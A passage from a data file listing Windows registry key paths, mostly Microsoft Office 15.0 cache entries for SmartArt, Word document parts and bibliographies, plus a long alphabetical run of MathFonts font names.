  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1653. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1656. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1659. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\NextUpdate",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\LastUpdate",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
